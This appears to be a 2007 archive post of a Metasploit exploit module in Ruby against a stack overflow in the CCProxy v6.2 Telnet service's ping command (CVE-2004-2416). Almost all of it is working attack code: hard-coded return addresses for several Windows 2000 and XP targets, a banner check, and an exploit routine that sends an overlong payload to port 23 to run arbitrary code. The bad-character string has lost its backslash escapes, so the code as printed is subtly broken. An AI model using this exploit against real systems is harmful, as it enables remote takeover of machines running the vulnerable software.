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ccproxy-meta.txt

Posted on 05 September 2007

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
'Description'	=> %q{
This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
The stack is overwritten when sending an overly long address to the 'ping' command.
},
'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Arch'		=> [ ARCH_X86 ],
'License'       => MSF_LICENSE,
'Version'       => '$Revision$',
'References'    =>
[
[ 'BID', '11666 ' ],
[ 'CVE', '2004-2416' ],
[ 'MIL', '621' ],
[ 'OSVDB', '11593' ],
],
'Privileged'		=> false,
'DefaultOptions'	=>
{
'EXITFUNC' 	=> 'thread',
},
'Payload' =>
{
'Space'		=> 1012,
'BadChars' 	=> "x00x07x08x0ax0d",
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
[
'Windows 2000 Pro All - English',
{
'Ret'	=> 0x75023411, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - Italian',
{
'Ret'	=> 0x74fd2b81, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - French',
{
'Ret'	=> 0x74fa2b22, # call esi ws2help.dll
}
],
[
'Windows XP SP0/1 - English',
{
'Ret'	=> 0x71aa1a97, # call esi ws2help.dll
}
],
[
'Windows XP SP2 - English',
{
'Ret'	=> 0x71aa1b22, # call esi ws2help.dll
}
],
],
'DisclosureDate' => 'Nov 11 2004'))

register_options(
[
Opt::RPORT(23),
], self.class)
end

def autofilter
false
end

def check
connect
banner = sock.get_once(-1,3)

if (banner =~ /CCProxy Telnet Service Ready/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
connect

sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
sock.put(sploit + "
")

handler
disconnect
end

end
end

 

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